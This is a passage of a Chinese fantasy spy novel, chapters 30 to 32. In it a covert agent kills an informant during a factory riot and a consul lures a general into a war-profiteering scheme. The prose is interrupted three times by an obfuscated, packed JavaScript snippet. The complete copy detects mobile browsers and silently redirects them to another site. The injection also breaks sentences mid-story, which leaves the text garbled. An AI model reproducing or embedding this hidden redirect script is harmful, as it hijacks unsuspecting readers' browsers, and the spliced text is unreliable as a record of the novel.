“这……”詹姆斯犹豫了下,还是点头同意,“您有什么想问的,尽管提。” “别这么拘谨,只是随便闲谈。对了,从来没问过你是哪里人?在中州长大的吗?”加茜娅头发半干,香气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“长官其实很好的,特别是对你。我之前虽然吓唬过你,但那个时候我们还不认识,也只会跟你讲吓人的一面。你不知道之前有多少间谍想用这种方法混进军部,然后被他们枪毙的!”詹姆斯的手摆到了自己太阳穴上。 加茜娅攥了下裙摆,面上放松地笑笑:“那可真是活该。” “我今天和你说的别告诉长官。”他放下手,又立马紧张地补充一句。 她自然无有不允:“别担心,这只是我们私下里的聊天而已。” 这么说着的时候,加茜娅余光一直在留意三楼窗台。 突然间,一个敏捷小巧的影子闪现在二楼阳台旁的管道上。像是侏儒,亦或者别的什么小型物种,行动迅猛。 “那是什么!”加茜娅受了惊吓般,轻声呼唤起来。詹姆斯抬头一看,立马冲下车,抽出手枪连击数次。 “砰!”墙壁上刻了弹痕,可是没有任何物体坠落下来。 詹姆斯阴沉着脸,高声喊出管家,命令别墅内外全面布控。 魔纹监控系统未有响应,证明魔法危险等级不高,但很难保证对方身上没有什么别的限制级武器。他来不及大发雷霆地教训人,先叫加茜娅伏在车里,自己留在车外保护,指挥赶来的保镖们四处搜寻。 “庄园封闭起来了,但是找不到!”詹姆斯隔着车窗对加茜娅说,“您现在不能离开,我已经叫人去汇报给长官了,下一步等他安排。” 加茜娅趴在座椅下,十分顺从地点头。她看起来狼狈又可怜,对于这样的危险级别一无所知。詹姆斯想,自己真该死,对不起长官,也对不起她! 他继续俯身藏在车旁,警惕四望。 一名参与搜查的仆人从楼上下来,手里拿着一封信,称是在加茜娅房间窗台上的花盆底下新发现的,或许正是那不速之客的遗留物。 詹姆斯打开一看,见上面用印刷字母拼贴着几段话: “……事成之后,不必担心他怎么处治你。我会联络霍桑家的大法官出庭为你担保,让你安全地活下来,一辈子衣食无忧。” “你若不信我,就等着看三天后,这几个本该入狱的人会被释放!” 加茜娅在车内抬起眼,看詹姆斯的眉头越皱越紧,心里悄悄地松了口气。霍桑家族确实是有问题的,只要阿纳鲁肯查,必能发现点门道。 剩下的不必自己动手,交给他们内讧就好了。而她的精力,还要放在别的人身上。 30.Chapter 30. 泄密 联邦议事院,一座六层挑高的白石柱穹顶大厅里。 执政官萨尔·艾德林坐在圆桌中央,身旁有元老院人类、精灵、兽人、矮人四大族裔议员代表各一名,少数派则是一位身材中等的女性半侏儒坐镇。监察院和大法院代表也悉数出席,各自满面肃穆,围坐静候。 其中有一席位空出——军部代表阿纳鲁·蒙格马利刚接到紧急通讯,半场离开,还未讲完的发言稿与机要文件整齐叠放在桌上。 片刻后,军靴踏地的清响声由远而近,两名配枪守卫拉开会议厅大门。阿纳鲁面色凝重地回到原位,拿起稿件,继续刚才的讲话。 旁边席位的大法院代表,亚伯·霍桑不知自己是否看错,总觉得阿纳鲁坐下时,朝自己瞥了一眼。这名戴着银白卷曲假发、皮肤发皱又透亮的老法官是个政坛人精,很快就掩饰下内心惊异,神态如常地微笑倾听。 “……军部对驱逐暗精灵的议案,予以否决。”阿纳鲁目光扫过席间,“前线战事紧张,暗精灵一族是中州‘安全区’维.稳的关键群体,而且是廉价高效的魔导军火生产力。即便要重新提案,也不该选在此时。” “蒙格马利家的小子!这种事能由军部单方面否决吗?”高昂着头的白精灵议员代表拍了下桌子,毫不让步,“你应该了解下!暗精灵最近的内斗波及了多少地面建筑?重建的经费军部出?说到底,老鼠们留在中州才是维.稳的阻碍!” “这是军部一致的决定,艾兰迪先生。你不同意,可以让精灵议会去驱逐他们。”阿纳鲁神情淡漠地翻动手头文件,“联邦现在最该关心的,是边境战况。” 四下无声,唯执政官萨尔笑着劝和几句。 艾兰迪攥着茶杯发抖,气得说不出话。监察院的代表也是一名白精灵,此时与他对了个眼色,摇一摇头。 照往年的惯例,联合会议至少要开五天,长的可能有半个月,主要看当期代表想吵多久的架。今日议程结束,众代表皆不欢而散,显然要将许多事情拖到第二天继续拉扯。 阿纳鲁暗叹一声,起身戴好军帽拿上大衣,快步向门口走去。就在他走至厅外长廊时,却被身后一个声音叫住。 他回头,见是执政官的某名秘书,于是侧过身微微颔首,用不耐烦的眼神示意对方快点发言。 秘书左右一瞄,飞快上前低声道:“执政官大人有一个内部消息给您:人类议员代表布莱克家,有位小姐可能会和莫伯斯联姻……这家族拥虿不少,他们会动用一切力量,把您的竞争对手扶上去。” 阿纳鲁斜眼看他,不动声色。 “您是国之栋梁,执政官愿在后方为您助力。战事在即,特为您举办一场私宴,聊作践行。”秘书悄悄转过身,背朝走廊,手里递给他一张请帖。 半晌,这张烫金卡面、盖有私印的帖子被接了过去。 . 加茜娅所在的别墅防护系统已全面升级。阿纳鲁收到急讯后,果断拨出自己直属的一支安保分队进驻庄园。 这些亲卫军手持轻型魔导枪械、牵着威风凛凛的猎魔犬,在别墅楼下走来走去。他们统一佩戴银色鹰翼领章,肩缀总部军区标识,行动有序、目光锐利,惊得仆人们纷纷避让,不敢近前。 加茜娅伏在窗台上往下看了眼,缩回脑袋,谨慎地放下窗帘。房间外还有詹姆斯守着。她提前告诉詹姆斯次日资源署有事,不用按时去接她,然后就老实地待在自己屋里。 阿纳鲁还未回来。加茜娅坐在床前,从枕头底下取出“银小姐”,检查了弹药填充,再塞回去,早早地洗漱睡觉。 第二天将有两场硬仗要打。一是要在资源署内寻找栽赃嫁祸的机会,提前向别人传递八号峡谷的危险情报,好为自己分担嫌疑,并让大家不白白送死;二是要卧底黑蔷薇化工厂——夜晚将爆发有预谋的工人暴动。 而根据秘密电报,之前负责对她执刑的线人之一“托马斯”,将在本夜潜入工厂拍照报备。 . 资源署内。生态监测中心技术员,矮小的半精灵乔纳森·格拉姆,正端着摆满茶点的银托盘从三楼档案区路过。 乔纳森除了正事,对什么都很上心。作为逢迎拍马的个中强手,主动为上司们添茶倒水、监视八卦是他应尽的职责义务。因此,当看到外勤档案室门口犹豫徘徊的加茜娅时,他就不得不停下来看看情况了。 更别提,加茜娅还是西高地项目组出了名的贵族美女呢!这事儿已经在他嘴里“无意透露”了不下百遍,那些被分配到其它地区的同僚都羡慕得直跳脚! 乔纳森将托盘放在身侧的扶栏台面上,惊叫着一拍手,贴了上去:“真巧啊,加茜娅小姐,这也能遇见!”他向后一捋稀疏的发顶,十分端庄地微笑,“有什么发愁的事吗?在下愿意为您效劳!” 加茜娅像被吓到似的,捂住胸口后退半步,随即扭着眉毛低头看向一边,小声解释:“前几天东部边境的地动太可怕了!我和黛尔打算再分析一下西高地历年地动档案呢。就是里面太暗了,不知道灯在哪……” “您怎么不早说?像您这样高贵的女士哪用亲自动手!这种粗活,交给我吧!” 乔纳森恨不能与加茜娅脚粘脚地跟着——她刚用权限钥匙打开门,一转头,就见这半面苹果脸在下方舒展开满脸褶子线条,笑盯着她。 “那就劳烦您了。”加茜娅暗中分析他的神情反应,害羞似的垂下头。 乔纳森往门里钻,一边不小心蹭过她,一边回头挤眉弄眼地劝慰道:“要我说,咱们项目配备了最好的魔法师和防护设备,还怕什么天灾呐?” 说着,与加茜娅各自笑着摆手,又继续叽叽喳喳:“您也不用太上心啦,好好儿享受下午茶才是重点,毕竟那里的伙食条件可比不上中州……” 他进了这灰尘浮动的黑屋,深吸口气摸索着开了灯,心中喜滋滋地回味着自己英雄救美的爽朗模样。他跟着索引走过一排排资料架,找到加茜娅想要的档案册,刚一抽出,便引起旁边塞着的几叠资料倒塌下来。 乔纳森起初只是不经意地瞥了眼。其中一本的书脊皮上写着“WH-834矮人工程日志”。 噢!是之前那三位从西高地返回的矮人勘探师记录的资料吧。这些小矮子已经在培训前期做了口头总结。 乔纳森想起他们那时异常寡言的汇报,手头动作微不可察地一顿,抽出日志随意翻了翻。就这么一翻,书册自然张开在最后几页,他骇然发现: 西高地推荐路线总结栏里,有关“天灾”的记录中涂了一个显眼的墨点,遮挡住至少三行文字,只能半推半猜地拼凑出“风暴”、“作废”两个词。 他霎时瞪大眼,一股寒意涌上后背。 会议上可从没提过哪里有元素风暴!要知道,那才是真正堪称危险的魔法灾害,联邦建立八十余年来,从未有过生还记录。 再仔细一瞅,这几行露出信息的笔迹相同,唯墨点颜色有些差别,可能是后加的。这东西居然被压在一堆满是灰尘的旧档案里,根本无人在意过。 思索片刻,乔纳森记住了日志编号,白着脸放回册子,慢吞吞地走出来。 等的时间越久,加茜娅就越放心。她彻底确定他不是调查员,并且是栽赃嫁祸的最佳对象:八面玲珑,爱贪功,不算聪明,却会自作聪明。这样的情报正适合泄露给他。 “您可真是个好人!我不知道要怎么感谢?要是可以的话,之后再请您喝茶吧!”她从乔纳森手里接过档案,作欣喜万分状,倾身感谢。 乔纳森恍惚地点一点头,记起自己最初的目的是对加茜娅献殷勤。 他心里有事,勉强咧开嘴笑:“您还用和我客气?这点事根本不值一提!哈哈!喝茶的事嘛,下次我来找地方请客……您一定要赏脸啊!” 加茜娅也轻声一笑,手指拨弄着文件边角:“明明是我要请您多加关照!” ——如此你来我往客套几句后,这位半精灵技术员便转身端起托盘,浑浑噩噩地远去了。 加茜娅脸上笑意收敛,抱着档案走到资源署三楼长廊尽头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她借外头微弱的灯光看到一张铁床,床上躺了名浑身腐溃、瘦到脱形的女人:四肢弯折,面部塌陷,嘴角和眼窝发紫,一只手搭在床外,嘴巴张成个巨大的黑色窟窿,慢腾腾地吸气哈气。各处有排泄物干涸的痕迹,恶臭熏天。 “你好。”加茜娅捂着面罩,尝试与她低声交流,可对方毫无反应。 加茜娅皱眉思索,知道自己时间不多,只得转身翻检屋内设施。 她在衣柜里找到一叠破旧工装和三个工帽,强忍着反胃的冲动,捡出其中大号的那件,直接套在自己雨衣外,然后擦一擦帽子,露出帽檐上的身份识别编号,再给自己戴上。 剩下两个小号工帽似乎是给孩子戴的,上面贴着脏兮兮的贴纸,还有涂鸦。但不知那两个孩子去了哪里。 加茜娅这么想着,刚转过身,忽然被吓了一跳! 窗外雷电噼啪炸下,桌面上亮起两个封口的粗瓷小罐子,压着孩子们微笑的黑白相片,目光幽然望向她。小罐后面还有个圆肚的大罐子,亲亲密密地挨在一起。 她走过去,发现三个罐子都刻有名字。那大罐子上刻的正是“阿塔妮斯·温斯特”,罐内装了些零散的晶币,还有一张字迹歪扭的纸条,顺序杂乱、语病频出地写着: “我们是来自堪德雷特州的战争难民。 我死后,剩余的钱用于丧葬费和偿还欠贷。 请在一个有月亮的晚上,安葬我和孩子们的骨灰,谢谢。 月亮母神祝福所有子民。” …… 加茜娅回头看向病床上奄奄一息的妇人。她有一头灿金但干枯的长发,满面病疮而看不出年纪;但照片上的孩子还小,所以她也应该很年轻,或许和自己差不多大。 一时间,那妇人黑色的口腔不知怎么就长进了加茜娅心里。她愣在那,感到自己好像原本也有这么个窟窿,现在更加扩大了,嘶嘶哈哈地漏风。 她脚下踩着的庞大纷杂的世界,怎么是如此荒谬虚无,空空荡荡。 加茜娅掐了掐手心,睁开眼。气息在防护面罩里循环碰撞。她从自己口袋里摸出一点零钱,想要放到罐子里。 手碰到冰凉的黑洞洞的罐口,那罐口仿佛也开始泄起风声,想吸走什么似的。她突然想起——这钱并不能真的流向他们。 现在不该为此分心!不该软弱,不该同情。这世上谁也救不了谁。 于是她颤抖地缩回手,正一正头顶工帽,握着腰间的枪走出门。她迎着亮起电光的瓢泼大雨,冲进永无穷尽的冰冷黑暗之中。 . 31.Chapter 31. 枪响 黑蔷薇化工厂内,聚集着今晚值班的工人们。 加茜娅站在人堆后头,时不时抹一把面罩上的水迹。暴雨混着泥点到处抽打,声如洪泄,她只能零星捉住几句议论。 “……把这条线砸了,他们就只能重建!” “比现在强!不停产检修的话,以后还会出更多事……” “反正怎么都是死……” 加茜娅此行,最主要的目的是找到托马斯。因此她没怎么将这些话放在心上,放眼环视着,试图发现点线索: 这是一个转运化工原料的方形广场,遍地都是铁罐和轨道,四周被高耸的黑钢塔楼包围。有两处塔尖,是最佳狙击位,加茜娅猜测那里布置了射手,择机控场。附近掩体颇多,托马斯不知藏在哪里。 她听到有人在广场中央高呼:“我亲眼所见!请愿信被撕了!我们的伙伴白死了!我们今后也要送死!” 霎时间,哗然一片。许多人开始喊叫怒骂起来。 根据秘密电报,这个煽动纷争的家伙多半就是内鬼;还有一些,或许藏在人群里附和,一时分辨不出。加茜娅踮起脚尖,从众多工帽的缝隙间看到中央围了几个人,看不清面貌,正你拉我扯、争执不休。 她知道,托马斯就躲在某一角落,等着拍下“暴民”砸厂、炸毁生产线、冲击安保的画面,然后附在颠倒黑白的通讯稿上公开发表。 因此,一旦行动开始,就等于自动宣告工人有罪,而卧底的内鬼们会被大法官保释。 事不宜迟,必须先发制人,通过制造混乱来逼出对方的下一步反应! 加茜娅左右观察完毕,立刻俯下身钻向人群侧面。那里有堆成小山的原料罐和集装箱,可作临时掩体。为了不引起狙击手注意,她将自己缩得小小的,猫儿般从沾满泥水的裤腿之间灵巧挤去。 等她在掩体背后藏好,估算好角度和距离,便掏出银小姐,快而准地往广场中央的工人头目脚下射了一枪! “砰!”枪管内的魔导子弹随雷声迸发,在地面擦出火花。众人反应过来,惊叫推搡着往旁边退。那子弹滚了几圈,魔纹亮起,激起一个小范围爆炸。 加茜娅鼓起全身力量大吼:“骗子!我们被包围了!” 真相如何已不重要,重要的是她比内鬼更先煽动群众,阻止了砸厂暴乱。 他们的理智线在雷鸣雨水中崩溃,乱叫着蜂拥围堵的、逃窜的,冲突起来乱作一片,将许多罐子和小车撞得乱七八糟、东翻西滚。 又几道雷电打下,全场亮如白昼。加茜娅终于看到,不远处的钢铁建筑内部,一个刺眼的圆点倏忽亮起。 ——那是镜头的反光! 这一刹,加茜娅头脑空白;她什么都不顾了,抓着手枪,拔腿就追。 托马斯发现了她,将背在身上的相机往后一甩,抓着二楼栏杆纵身跃出,从露台跳到临近大楼一条悬空管道上,边打滑边半爬半跑地狂奔。 塔顶的狙击手也发现了她,一连串枪响炸开,子弹追着她一路打在铁罐掩体上,叮叮咚咚地弹开;有些火星躲过雨水,点着化工原料桶,“轰——”地爆炸,瞬间火光冲天,肆无忌惮连绵开去…… 那一晚,在加茜娅记忆里,只留下腾腾热浪和高悬的耳鸣声。她记不大清自己是怎么躲过集火、追上托马斯的,也许这世上真的有神。 厂区建筑一座挨一座,密密麻麻的管线、金属廊道与传送带勾连相接,头顶是延伸的钢板雨棚,脚下是油污斑斑的作业桥,桁架钢梁、旋转楼梯犬牙交错,使人迷乱得辨不清方位。 加茜娅也怀疑自己忽然生了魔力,怎么就能飞檐走壁、在高速运转的排气扇与幽深通风井之间穿梭自如,却没有留下具体行动的印象? 中间有一段巷道追逐,失了对方踪迹。她留意到泥泞地面,恰有雨水来不及冲刷干净的新鲜鞋印:硬皮鞋尺寸,不是工人穿的胶鞋!她就这么锁定住他,一直追到楼顶,将他逼至某高架仓库的悬崖死角。 此刻天地间奔雷滚滚、水帘无断,远处工厂警报红光闪烁,嘈杂不休。那人猫腰闪躲于堆积的设备之间,断断续续与加茜娅目光相撞。 她停步矮身,藏于数丛钢管旁,靠近警惕张望着的托马斯的背后;随即稳住气息,抖开一方绣花手帕。“银小姐”的枪把在掌心里黏着汗。她由枪管下方开始仔细地裹,每缠一圈都罩住枪口,就像玩游戏前用丝巾蒙住“情人”的眼,只不过这次是消音降噪。 最后,隔开湿滑手感,将帕角绕在指尖,很秀气地勾在扳机上,蓄势待发。 雷雨之下,没人能听见她的枪声。即便是附近点位最灵敏的狙击手,混乱中也很难察觉此地出事。 加茜娅双手交握,瞄准托马斯,俯身慢慢地从钢管后走出来。眼前这家伙简直不像具体的敌人,更像梦中反复追逐的许多人的影子。 “你是谁?”托马斯扶了一下防护面罩,转过来直起腰,显出高瘦身形。大风卷过他的黑色雨衣,在天台之上咣咣作响。 “不重要。我只想,让你为自己的恶行,付出代价。” 加茜娅脑子里闪过许多句话,都是她以前幻想这个场景时拟设的。可临此关头,她又觉得一片空白,没必要啰嗦太多。 对方听见她的声音后,发出几声闷笑。他仿佛也不怕了,举起手,一步步地朝加茜娅走过来:“是你啊,可怜的小猫咪。你记得吧?听话的孩子才能免遭痛苦。放下枪,我还能替你想想办法,否则你躲不过那些人的清算。” “别动!”加茜娅手指扣紧扳机。 托马斯不动了,但仍然在笑,喋喋不休:“实话说,杀了我有什么用?我只是一条履行职责的狗,没比你好到哪去……这样的狗你杀不完,谁都有苦衷。况且……我这里还有一些情报呢!合作,怎么样?” 加茜娅沉默不语。 就在这个时候,几步之遥的托马斯猛然暴起,扑上来要抢她的枪! 她的手指颤抖了一下…… 世界从这一刻起,寂静无声,连耳鸣都消散了。 许多杂乱的画面、声响、气味和痛感记忆,浪潮般涌入脑海。头皮发麻,心跳炸响,护目镜外的世界晃成黑白残影。 警报灯连片亮起,映红天际。雷声轰鸣、雨水瓢泼,万千光晕在积水的地面上曳动。雨点敲打金属的声响逐渐放大,与加茜娅的意识重新对接上。 视线之中,托马斯体内的魔导子弹“砰”地爆开,将他拦腰炸断,红红黄黄洒落满地。一些腥臭的组织和液体迸溅到加茜娅的身上。 加茜娅瞪大眼睛,摇摆的身子一时定住。托马斯竟还没死,持续发出她听不见的非人嚎叫。所有动作里,她只看到一样:他挣扎着指了下自己的脑袋。 加茜娅替他结束了痛苦。 随后,她噗通跪倒在积水里,身体软得仿佛失去骨头,鼻腔反酸,猛地呕吐,又扬起脖子强迫自己咽回去……一片火辣辣的疼。面罩灌水,视线模糊。泥浆、血污,把她的脚粘死在原地。 没什么的……她用仅存的理智反复告诉自己。 这种事没什么的。眼前这个家伙干过,阿纳鲁干过,拉斐尔也干过,她身边很多人都干过。这就和拆电报机的时候,不小心掉了颗螺丝一样的,没什么的。况且她是正当的。 加茜娅爬到托马斯身边,扒开他的雨衣、检查了他上衣口袋里的湿漉破碎的通讯稿,塞回去任由暴雨继续冲洗。接着,把摄像机扯下来,丢下天台。 她恍恍惚惚地扶着栏杆跑下旋转楼梯,跑出厂区,将头盔和工装外套丢进湍急奔流的河水里。她在暴雨里一路踉跄奔跑,在到达最近的轨道车站前,绕路察看了身后——没有人跟踪她。 晚上十一点半,加茜娅跳上了最后一班蒸汽轨道车。雨水已经冲干净她雨衣和面罩上的血污,只剩下冰冷失温的身躯,缩在窗边瑟瑟发抖。 静音与耳鸣交错的世界,逐渐复苏。 脑海里那些纷乱的记忆碎片,长久控制着她的香腻气息,灼烧的痛觉,深入骨髓的屈辱和 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加茜娅不怕枪响也不怕见血,她怕的是这些事做得再多也无法让自己好受。 转而又想:也许正是为了有活着的念头,才哄骗自己做这些事呢?就像詹姆斯说的那样,绝境里的人总得信点什么,才愿意活下去。 也可能只是怕死,才活着。想不明白。 复仇。没意思,没意思极了。她没有变得愉快起来。 加茜娅抬头望向暗红的天空。初得所愿,前路茫然。 . 走出车站后,将近午夜。加茜娅在准备收摊的路边小贩那儿买了水果,这次是草莓,边走边吃完了。依旧是酸,但她的眼泪已经流干净。 她失魂落魄、浑浑噩噩地回到别墅,似悲似喜,身心皆疲。 詹姆斯不在。管家愁得团团转,正打算派人出来找她,此刻迎面相见,差点要给她跪下。一众闲仆都扑上来,接外套、端热茶、擦她身上和头发上的水。 “帮我拿酒,多拿一点。”加茜娅对他们说。 “……您至少是坐到沙发上去喝吧。”管家委婉相劝。 加茜娅不听,浑身卸了力气,就这么靠着沙发脚,坐在会客厅地毯上,一瓶接一瓶地给自己灌酒。 她不断出汗,神志飘忽,完全冷静不下来。一闭上眼,满手都是鲜血在往下淌。于是她喝几口,将瓶子倒过来,让酒泼到手上去冲洗。酒水打湿她刚换的衣服,滴滴答答地流下去,浸湿红色地毯,变得更像血的颜色。 所以为什么活着呢?她看着遍地的血,满心绝望。 这个时候,她听见门口又传来不小的动静。 是谁来了? 加茜娅提着酒瓶的长颈,站起身喝,一步一跌地往门口去。 天地急剧旋转。 哦,别墅的主人回来了,而且和她一样醉醺醺的,被仆人扶着,很狼狈。 她推搡着摇晃着,仿佛那灯偶之中挣扎乱撞的蛾子,摸不清方向,一撞撞在他胸膛上,好像寻得了生路,莫名其妙,喜笑颜开。 阿纳鲁低头,下意识地张臂揽住她。 可加茜娅就那么任性地往后倾倒,直到他也不得不弯腰接着她。她没力气似的抬了一点手,搭上他肩膀,目光迷离,毫无征兆地挺腰向他吻去,手脚身体如蛛网般缠住他,忙而又乱地祈求慰藉。 她不懂该说什么,也不想说什么,只是觉得自己再这样下去会疯掉。她记得他是和她一样的人。他也该懂的,对吧?这种空荡荡的感觉。 加茜娅一边接吻,一边抚摸他的脸,无比动情地想:也许去做点事,会不那么空虚?虽然她以往也并不觉得那是什么好事。不好不坏吧。 于是她拉住他,好像拉住救命稻草陪自己沉到水底去。 奇异的是,面前同样满身酒气的人,这次没有再拒绝。 ——甚至和她一样的急,一样的沉迷;辗转相贴,无可救药。 32.Chapter 32. 他的情 三小时前,阿纳鲁在执政官萨尔举办的私宴上,签署了一份文件。 说是私宴,宾客真的只有他一人。 萨尔·艾德林向来都是那副和蔼可亲的憨厚面貌,没有一点架子。他选了自己府上,平时独自用餐赏景的落地窗旁,招待这位新就职的驻防总司令。 窗外狂风暴雨,室内暖意融融,带着蜜蜡香料气息的昂贵木柴在壁炉里开裂,噼啪抖动。火光侧衬着执政官的笑脸,半明半暗。 “你父亲怎么样?唉,他以前同我关系很好……圣玛丽安娜医院那边,总和我提起你们父子兄弟的情深。”萨尔从男侍托盘上接过酒瓶,亲自打开。 阿纳鲁沉默下来,也随他一笑,暂不发话。 “别误会。即便我知道点什么,也会当什么都不知道。”萨尔想站起来倒酒,却发现自己身矮手短,必须绕到桌侧才行!侍者一看,忙把杯子捧过去。 “您消息真灵通。只是些探病的琐事,不值一提。” 阿纳鲁不置可否。 “兄弟阋墙嘛,自古以来都是一样。说实话,你们家族理事会内部,不少人都被莫伯斯打压过,都盼着你掌握实权,好一起分食他的资源。”萨尔比了个邀请品酒的手势,“毕竟你路数干净利落,比那爱吐口水的家伙强多了。” 接着,他将话题挖深延展,抛出橄榄枝:“我的派系愿意支持你。你稳赢!他那种人,越是心高气傲,就越容易走错路。就像那群激进的白精灵。你也看不惯他们吧?可见,咱们天生就该站在一起!” “军部自然同联邦站在一起。” 萨尔坐下来,由侍者为他整理餐巾,并递上一份火漆封口的文件袋。萨尔示意阿纳鲁拆开看:里边是对他紧急决策和调度权限的进一步放宽。 “联邦也离不开军部。这些,都是我从元老院争取来的。有我在后方作保,你就可以放手施为!”他眯起眼,满脸的肉褶都在堆笑,“议事时若有人阻碍你,我有办法让他们束手而归;莫伯斯如敢跳脚搞小动作,我亦能替你好好敲打他!” 阿纳鲁压下心惊,面上不动,却可见皮肉紧绷:“承蒙关照。我赴前线督战,后方确实需要您坐镇代劳……但凡联邦所需,蒙格马利家必不辱使命。” 萨尔并不急着谈条件,而是开始东南西北地聊天。等吃完一顿饭、喝下两瓶酒,才命人呈上另一份文件。 《战时边境物资采购与周转方案(补充)》。阿纳鲁瞥过一眼,放轻呼吸: 文件确立了几个垄断合作商,并罗列了“物资采购清单”和“紧急备用金”项目,给出粮食、医疗用品等物资的预算开销和报账条款。 东部边境战事突起、交通不便,军队和边民们必将认为物资稀缺,需要高价收购,或需跨州运输,所以价格暴涨貌似合理。 他继续看文件,发现所涉金额高达数亿,还要以“军部驻防”为名义自上而下执行——光这一个签字,就能调动超过三个州的年财政收入。 说白了,就是要拉他一起哄抬物价、从中贪赃!难怪放宽了那么多权限。 屋里变得静而压抑,只剩炉火和窗外暴雨的声音,每一道雷都打在他心上。 这一步走出去,今后将再无回头的可能。 执政官的声音仍在循循善诱: “一点小账,滚出大钱!即便抽成对半分,你……军部也能拿至少三千五百万的翻倍利润。况且,还列入了蒙格马利的产业。这之后你投资军备,我充盈国库。全都是为了联邦! “财政署那帮人只看数字平不平,谁去管你一瓶水标五十晶币是不是太多?人死了、货没了、账对了,这就是完美的生意,你应该明白? “等你签完,我们把方案在联合会议带过,再返给各州各行的代表,走一下过场,就成了!这关头,没人敢质疑军费! “放心,边境那儿有人对接!即便出岔子,也有替罪羊顶上。” 侍从递上签字笔,放在阿纳鲁手边。而他的右手垂在桌下,不自觉地发抖。 萨尔见他仍在犹豫,继续起身倒酒,同时抛出另一个暗示:“说起来,当年你们家族的变故,我一直感到遗憾……你母亲是善良的人。唉!可惜那时我还未坐上执政官位置,否则定不会让那样的悲剧发生。” 阿纳鲁动了下眼皮。手不抖了。 “你尽管放手彻查和清洗,我会动用所有资源帮助你。霍桑家那老东西,虽然人品不怎么样,但手段还是值得信赖的。有我们在背后,放心好了!” 阿纳鲁终于抬起头,意识到:无论外界风评如何,萨尔执政官这位置不是白坐的。 这是一位真正的棋局老手,每一颗子都落得深思熟虑,落下便成定局;看似给人留有选择,实则无论怎么走,都会走进他的阵营。 “这杯敬你。接下来,你会发现比军功勋章更诱人的东西……又或许你早已发现。”萨尔观察着他的神色,点头笑道,“你是聪明人,我没看错。” “再一杯敬国家,让联邦继续伟大!”他和阿纳鲁碰过杯,双双饮下酒,酡红着脸,“今后,我们资源共享,哈哈!大家平时也举办不少私宴,当然,不用像今天这样正经!欢迎你随时过来找点乐子。” 萨尔没有在这件事上多谈。阿纳鲁也听不进去了,因为他喝了太多的酒,几乎是有史以来醉得最不清醒的一回。 …… 不明不白的,他忽然在这个时候想起加茜娅。 想见她……想哀求她无条件的吻。 . 那是个湿漉漉的雨夜。 说不清是谁的胳膊和腿弯,缠着谁的脖颈不放,也记不得是谁的手拧着谁的腰,束着谁的腕,热腾腾滚落汗珠。 唇舌津液,遍体烧灼,连心脏脉搏都绞成一团,掀起无数蹦跳的潮汐。 两头迷茫苦闷的灵魂,翻滚撕咬着;一个在摸寻信仰,一个丢弃了它。 . 加茜娅醒来的时候,浑身酸痛,脑子里还残留着宿醉的眩晕。 她眯着眼转动脖子,看到自己正躺在陌生房间的床上。 半透明的白纱窗帘垂到地上,安静不动。帘外是个露天阳台。阿纳鲁关了玻璃门,背对她,正在抽烟。他上身只披了件大衣,露出斜撑着栏杆的手臂,不知在想什么,也半天不动。 加茜娅慢慢地恢复理智,知道昨晚大概发生了点事。 她先是有点懊悔,懊悔自己的不清醒,否则那是偷窃书房钥匙的绝佳机会;随即转念一想,又觉得没所谓,反正这世上的一切都没什么意思。 床头矮几上放了一套茶壶茶杯,加茜娅给自己倒了水,有点烫,用舌头沾着,一点点喝了。她又去盥洗室洗了把脸,然后赤着脚踩上地毯,在房间里走来走去,探索这个卧室里的各种事物。 阿纳鲁早就听见了动静,转头看她。 加茜娅在打量置物架和柜子,时不时地拿起个摆件玩玩。她抽出一本书,刚翻开,指尖就停留在扉页上。 他怔怔地看了一会儿,低下头又吸了口烟,在旁边茶几上按掉,进门。 “为了联邦的荣耀。愿吾笔有据,吾刃有度,吾心无愧。”加茜娅将扉页上意气飞扬的钢笔字念了一遍,笑着问,“这是你读书时候写的?” “嗯。” 他从背后搂住她,她靠着他的胸膛,向后伸手去抚他脸颊,下巴上一片短刺的触感。周身是清晨的凉意和淡淡烟味。隔着她的一层睡衣,两人体温和心跳又贴到一处。 “现在时间很早。你比我想的还睡得少。”阿纳鲁闭上眼,下巴搭在加茜娅肩颈上。他们轻轻摇晃,悄声细气地说话。 他问她为什么喝酒,她也这样问他。都说是为工作上的事烦心。 “我帮你请了假,中饭后再出门就行。”阿纳鲁轻描淡写地说着,“其实不去也行……以后都不去也行,看你怎么想。” “我没想好。”加茜娅随口带过,又反问他,“你刚才在阳台上想什么呢?” “我在看庭院,想以后种点什么。你喜欢种什么?” 两个人躺回到床上,加茜娅靠在他怀里。她开玩笑一样地打趣:“你送我什么,我就喜欢什么。琉璃花就很好。” 他侧头看着阳台,想了想,叹口气:“那晚上也太亮了,睡不着觉。” “借口。你不会是嫌贵吧?” 阿纳鲁什么也没说。加茜娅仿佛听到一声轻笑。 又贴着安静片刻,他忽然不经意地提起:“对了。我听到了一些传闻,有关你和莫伯斯的。” “是那天詹姆斯截获的信吗?我连内容都没有看过!你可不能冤枉我。” 加茜娅绝不上他的当。她只说自己应该知道的,并且还演出猜测的表情。 “算了。”阿纳鲁叹气,吻了吻她的头发,“等你想说再说吧。” 两人聊了会儿天,滚作一团,又聊天。不知怎么说到各自以前的事。是因为加茜娅感慨,他是个少见的尊重她想法的大人物,然后阿纳鲁做的解释。 “小时候,我经常恶作剧……”他这话一出口,加茜娅就笑了。 “少将大人,这不像你啊!”她掐了把他的脸,被他拿开手。 他继续说:“有次,我对家族里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272791|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个姐妹下手。其实就是放了虫子在她们梳妆盒里。结果被我母亲打了一顿,说我干了天底下最坏的事。” 加茜娅又笑,在他怀里滚过来滚过去:“就这个?” 